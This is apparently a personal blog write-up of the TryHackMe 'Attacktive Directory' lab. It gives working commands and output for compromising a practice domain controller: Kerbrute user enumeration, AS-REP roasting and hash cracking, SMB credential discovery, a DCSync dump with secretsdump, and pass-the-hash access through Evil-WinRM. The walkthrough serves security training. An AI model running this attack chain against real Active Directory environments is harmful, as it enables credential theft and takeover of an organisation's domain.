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Incident Clarity

[THM] Attacktive Directory

·1654 words·8 mins·
Security Ctfs Windows Networking Windows ActiveDirectory Tryhackme
Table of Contents

Aayan Ta | 19th April, 2024 | 08:44 | Day 1 of attempting Attacktive Directory

Attacktive Directory CTF

Description: 99% of Corporate networks run off of AD. But can you exploit a vulnerable Domain Controller?

Task 1: Deploy The Machine

Target IP = 10.10.178.210

Task 2: Setup

Installing Impacket

  • Using AUR
yay -S blackarch/impacket-ba

Using GitHub Releases

wget https://github.com/fortra/impacket/releases/download/impacket_0_11_0/impacket-0.11.0.tar.gz && tar xvf impacket-0.11.0.tar.gz && cd impacket-0.11.0/examples/

Check if impacket is installed correctly: psexec.py -h

Available collection of Python classes for working with network protocols in Impacket

addcomputer.py      getTGT.py             ntfs-read.py      services.py
atexec.py           GetUserSPNs.py        ntlmrelayx.py     smbclient.py
changepasswd.py     goldenPac.py          ping6.py          smbexec.py
dcomexec.py         karmaSMB.py           ping.py           smbpasswd.py
dpapi.py            keylistattack.py      psexec.py         smbrelayx.py
DumpNTLMInfo.py     kintercept.py         raiseChild.py     smbserver.py
esentutl.py         lookupsid.py          rbcd.py           sniffer.py
exchanger.py        machine_role.py       rdp_check.py      sniff.py
findDelegation.py   mimikatz.py           registry-read.py  split.py
GetADUsers.py       mqtt_check.py         reg.py            ticketConverter.py
getArch.py          mssqlclient.py        rpcdump.py        ticketer.py
Get-GPPPassword.py  mssqlinstance.py      rpcmap.py         tstool.py
GetNPUsers.py       net.py                sambaPipe.py      wmiexec.py
getPac.py           netview.py            samrdump.py       wmipersist.py
getST.py            nmapAnswerMachine.py  secretsdump.py    wmiquery.py

Install Bloodhound and Neo4j

yay -S bloodhound

Task 3: Welcome to Attacktive Directory

Enumeration using nmap

sudo nmap -v -sC -sV -oA nmap/attacktivedirectory 10.10.178.210
PORT     STATE SERVICE       REASON          VERSION
53/tcp   open  domain        syn-ack ttl 127 Simple DNS Plus
80/tcp   open  http          syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
88/tcp   open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2024-04-19 03:51:37Z)
135/tcp  open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds? syn-ack ttl 127
464/tcp  open  kpasswd5?     syn-ack ttl 127
593/tcp  open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped    syn-ack ttl 127
3268/tcp open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped    syn-ack ttl 127
3389/tcp open  ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
| ssl-cert: Subject: commonName=AttacktiveDirectory.spookysec.local
| Issuer: commonName=AttacktiveDirectory.spookysec.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-04-18T03:22:11
| Not valid after:  2024-10-18T03:22:11
| MD5:   6859:fc45:c4bc:9629:3ae8:611a:7b4d:9ea8
| SHA-1: 81c0:e3c6:0144:716e:5931:5538:230e:9424:45b2:968a
| -----BEGIN CERTIFICATE-----
| MIIDCjCCAfKgAwIBAgIQRZYdLn3NkIhJZt7e8/qUDjANBgkqhkiG9w0BAQsFADAu
| MSwwKgYDVQQDEyNBdHRhY2t0aXZlRGlyZWN0b3J5LnNwb29reXNlYy5sb2NhbDAe
| Fw0yNDA0MTgwMzIyMTFaFw0yNDEwMTgwMzIyMTFaMC4xLDAqBgNVBAMTI0F0dGFj
| a3RpdmVEaXJlY3Rvcnkuc3Bvb2t5c2VjLmxvY2FsMIIBIjANBgkqhkiG9w0BAQEF
| AAOCAQ8AMIIBCgKCAQEAyKFhf9VzLoY8SL9d2gf4JG9kYlq6VEBliNiii8GP7NFk
| 2ciOXHBl9aKdxazPx2FUs/0ZgPdiFaUhs1ZMbgB32jWPeMzXiFkwTOh/UhpgNykG
| LQQ++x13B15QhfftCiUsFs/WZU1Hh/Nh+h8o/u2T02C2x8cu5i9o4Fv8Zk7s/78D
| 6fFDWBETHim62AnYqYY0OS8hXlbt68dTKx4cJBwXIk0iFDSvgm4xj18OqJY5rzTf
| DgeeKXgvRKOq3OVmsEELsUY73fAumfGcpZ3Y95ms/AmXtbibU4Gi+A9OXJTZ29gm
| e1Oa4LxzVdxQZ3Pb7enIKeU6ug/5VNh9JUm32CC/FQIDAQABoyQwIjATBgNVHSUE
| DDAKBggrBgEFBQcDATALBgNVHQ8EBAMCBDAwDQYJKoZIhvcNAQELBQADggEBADA0
| iZ5GPmKnQJvoOPdHBChkeVIWp1HMrjpsbqioJdEr6hsbocCDWrTzDr161XUKMBzl
| zjG30yzLVFFI6GK6xeUvGQkB1kQBJgpYchs5ld9S9SSJSI6B72f+K3+Lfc6JOQDh
| srej7EcFNIwcliUF6DL2SehATa1xbOigQ1whQojQxcBk4CwEBUfLPLgogcxS9w4o
| wYfQWKa/n7wUn87eL44Bi6yhPVLoJQ/KG7aBN+NeSPy5RxZ0eeCeGSb8sXjJqbZh
| kFyeKwT44KmvT3MrRjq/KaxrTMPHS9DVxlvWTSvoSfrxhXBWPVRmWwmVpBMtJ+3J
| RDHIhMTIRDmU6X8uj4g=
|_-----END CERTIFICATE-----
| rdp-ntlm-info: 
|   Target_Name: THM-AD
|   NetBIOS_Domain_Name: THM-AD
|   NetBIOS_Computer_Name: ATTACKTIVEDIREC
|   DNS_Domain_Name: spookysec.local
|   DNS_Computer_Name: AttacktiveDirectory.spookysec.local
|   Product_Version: 10.0.17763
|_  System_Time: 2024-04-19T03:51:49+00:00
|_ssl-date: 2024-04-19T03:51:57+00:00; -1s from scanner time.
Service Info: Host: ATTACKTIVEDIREC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: 0s, deviation: 0s, median: -1s
| smb2-time: 
|   date: 2024-04-19T03:51:49
|_  start_date: N/A
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 51640/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 21261/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 20838/udp): CLEAN (Timeout)
|   Check 4 (port 29234/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked

Got 15 open ports using the all port scan

sudo nmap -v -sC -sV -p- -oA nmap/attacktivedirectory-all 10.10.178.210

Open Ports:

less nmap/attacktivedirectory-all.nmap | grep open
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-04-19 04:08:13Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open  mc-nmf        .NET Message Framing

Adding to /etc/hosts

sudo vim /etc/hosts
10.10.178.210   AttacktiveDirectory.spookysec.local     spookysec.local

Notes: Flags for each user account are available for submission. You can retrieve the flags for user accounts via RDP (Note: the login format is spookysec.local\User at the Window’s login prompt) and Administrator via Evil-WinRM.

Questions:

  1. What tool will allow us to enumerate port 139/445?

    • SMB ports 139 and 445
    • enum4linux

  2. What is the NetBIOS-Domain Name of the machine?

    • THM-AD

  3. What invalid TLD do people commonly use for their Active Directory Domain?

    • .local (spookysec.local)

Task 4: Enumerating Users via Kerberos

  • Kerberos is a key authentication service within Active Directory.
  • With this port open, we can use a tool called Kerbrute (by Ronnie Flathers @ropnop) to brute force discovery of users, passwords and even password spray!

or,

yay -S blackarch/kerbrute

Enumeration:

For this box, a modified User List and Password List will be used to cut down on time of enumeration of users and password hash cracking.

It is NOT recommended to brute force credentials due to account lockout policies that we cannot enumerate on the domain controller.

Here is what we do:

  • wget the usernames and passwords

  • kerbrute -h

  • I did not know how to use this tool or how domain controllers work.

  • kerbrute userenum --dc "spookysec.local" -d "spookysec.local" -v -o kerb_userenum userlist.txt | grep "VALID USERNAME"

Got these valid users as a Result:

2024/04/19 10:15:18 >  [+] VALID USERNAME:       [email protected]
2024/04/19 10:15:22 >  [+] VALID USERNAME:       [email protected]
2024/04/19 10:15:26 >  [+] VALID USERNAME:       [email protected]
2024/04/19 10:15:27 >  [+] VALID USERNAME:       [email protected]
2024/04/19 10:15:39 >  [+] VALID USERNAME:       [email protected]
2024/04/19 10:15:49 >  [+] VALID USERNAME:       [email protected]
2024/04/19 10:16:09 >  [+] VALID USERNAME:       [email protected]
2024/04/19 10:16:16 >  [+] VALID USERNAME:       [email protected]
2024/04/19 10:17:15 >  [+] VALID USERNAME:       [email protected]
2024/04/19 10:17:31 >  [+] VALID USERNAME:       [email protected]

Questions:

  1. What command within Kerbrute will allow us to enumerate valid usernames?

    • userenum

  2. What notable account is discovered? (These should jump out at you)

    • svc-admin
      • kerbrute result

  3. What is the other notable account is discovered? (These should jump out at you)

    • backup

Aayan Ta | 27th April, 2024 | 20:00 | Day 2 of attempting Attacktive Directory

Task 5: Abusing Kerberos

Target IP = 10.10.60.39 (day 2)

AS-REP Roasting Attack

  • Overview: AS-REP Roasting exploits the “Does not require Pre-Authentication” setting in Kerberos. This setting allows querying for a Kerberos Ticket without initial verification.

  • Tool: Impacket’s GetNPUsers.py

usage: GetNPUsers.py [-h] [-request] [-outputfile OUTPUTFILE] [-format {hashcat,john}] [-usersfile USERSFILE] [-ts] [-debug]                                                              
                     [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-dc-host hostname]                                                                    
                     target

Command:

GetNPUsers.py -usersfile userlist.txt -request -format hashcat -outputfile ASREProastables.txt -dc-ip 10.10.60.39 'spookysec.local/'

Result:

$krb5asrep$23$svc[email protected]:9b7fd4870a23d1ab68f96e137455acd0$a25bf247ad52b323da8a9e6560e9fd9095e50225c8fbc1af135a180d4253b841b3ae386bc84da2215c448e2c25357227df45291264aa4cb3be18610eaa148f6e6340148af96b523361bab0a59c043687f51130d12cfaff4bfed5f7afd3f73efb5a618aacafd2ec547f689fee3e76af935d35a9702b23a16db659f25aba0a14190437682f59f25cabf0c2dfcd76e49107c17bb57dd218e514df898ee1a3c544513fa4cc1399afbf29e85aba5e20e6f6680503263128b2e6a6a4e759a90cd62fadb6a297d0578cfa509fd3caa5095e93c9b9718015fce9ca4af314253dc7a5010f27ce6eddd448f7ce374abf6e9e3e974e9235
  • Visiting Hashcat Wiki to identify the hash type. It’s “Kerberos 5, etype 23, AS-REP”
Hash-ModeHash-NameExample
18200Kerberos 5, etype 23, AS-REP[email protected]:3e156ada591263b8aab0965f5aebd837$007497cb51b6c8116d6407a782ea0e1c5402b17db7afa6b05a6d30ed164a9933c754d720e279c6c573679bd27128fe77e5fea1f72334c1193c8ff0b370fadc6368bf2d49bbfdba4c5dccab95e8c8ebfdc75f438a0797dbfb2f8a1a5f4c423f9bfc1fea483342a11bd56a216f4d5158ccc4b224b52894fadfba3957dfe4b6b8f5f9f9fe422811a314768673e0c924340b8ccb84775ce9defaa3baa0910b676ad0036d13032b0dd94e3b13903cc738a7b6d00b0b3c210d1f972a6c7cae9bd3c959acf7565be528fc179118f28c679f6deeee1456f0781eb8154e18e49cb27b64bf74cd7112a0ebae2102ac

Crack the password hash using Hashcat: (Errors)

hashcat --hash-type 18200 --attack-mode 0 ASREProastables.txt passwordlist.txt

I tried installing xf86-video-amdgpu, and rocm-opencl-runtime, hashcat binary.

Hashcat doesn’t work at all !!!

Let’s use John:

john --wordlist=passwordlist.txt ASREProastables-john.txt

Result:


Warning: detected hash type "krb5asrep", but the string is also recognized as "krb5asrep-aes-opencl"
Use the "--format=krb5asrep-aes-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
management2005   ($krb5asrep$svc[email protected])
1g 0:00:00:00 DONE (2024-04-27 22:35) 50.00g/s 384000p/s 384000c/s 384000C/s horoscope..tyler2
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Questions:

  1. We have two user accounts that we could potentially query a ticket from. Which user account can you query a ticket from with no password?

    • svc-admin

  2. Looking at the Hashcat Examples Wiki page, what type of Kerberos hash did we retrieve from the KDC? (Specify the full name)

    • Kerberos 5, etype 23, AS-REP

  3. What mode is the hash?

    • 18200

  4. Now crack the hash with the modified password list provided, what is the user accounts password?

    • management2005

Task 6: Back to the Basics

Enumeration using smbclient:

smbclient -L 10.10.60.39 -U svc-admin
# password: management2005

Result:

Can't load /etc/samba/smb.conf - run testparm to debug it
Password for [WORKGROUP\svc-admin]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        backup          Disk      
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        SYSVOL          Disk      Logon server share 
SMB1 disabled -- no workgroup available

Which shares can we access?

smbclient //10.10.60.39/backup -U svc-admin --password=management2005

Contents of backup:

smb: \> ls
smb: \> get backup_credentials.txt 
cat backup_credentials.txt
# YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw

Decoding the above string using base64 gives,

[email protected]:backupxxx7860

Questions:

  1. What utility can we use to map remote SMB shares?

    • smbclient

  2. Which option will list shares?

    • -L

  3. How many remote shares is the server listing?

    • 6

  4. There is one particular share that we have access to that contains a text file. Which share is it?

    • backup

  5. What is the content of the file?

    • YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw

  6. Decoding the contents of the file, what is the full contents?

Task 7: Elevating Privileges within the Domain

Domain Privilege Escalation

  • The “backup” user account is directly associated with the Domain Controller.
  • It holds a critical permission allowing it to sync all Active Directory changes, including password hashes.
secretsdump.py [email protected]

Result:

Hashes

Questions:

  1. What method allowed us to dump NTDS.DIT?

    • DRSUAPI
      • Top of the result [*] Using the DRSUAPI method to get NTDS.DIT secrets

  2. What is the Administrators NTLM hash?

    • 0exxxxxxxxxxxxxxxxxxxxxxxxxxxfc
      • Credentials format: (domain\uid:rid:lmhash:nthash)

  3. What method of attack could allow us to authenticate as the user without the password?

    • Pass the hash
      • hacking technique that allows an attacker to authenticate to a remote server or service by using the underlying NTLM or LanMan hash of a user’s password.

  4. Using a tool called Evil-WinRM what option will allow us to use a hash?

    • -H

Task 8: Flag Submission Panel

Evil-WinRM

Evil-WinRM is a powerful Windows Remote Management (WinRM) shell uses PowerShell for remote administration and control of Windows hosts, from enumeration to execution.

Command:

evil-winrm -i 10.10.60.39 -u Administrator -H 0exxxxxxxxxxxxxxfc

Result:

*Evil-WinRM* PS C:\Users\Administrator\Desktop> Get-Content "C:/Users/Administrator/Desktop/root.txt"
TryHackMe{4cxxxxxxxxxxxxxx3r}

Questions:

  1. svc-admin

    • TryHackMe{Kxxxxxxxxxxxxxh}

  2. backup

    • TryHackMe{Bxxxxxxxxxxxxy!}

  3. Administrator

    • TryHackMe{4cxxxxxxxxxxt3r}

Cleaning System Up

  • yay -Rsndd evil-winrm john kerbrute bloodhound impacket-ba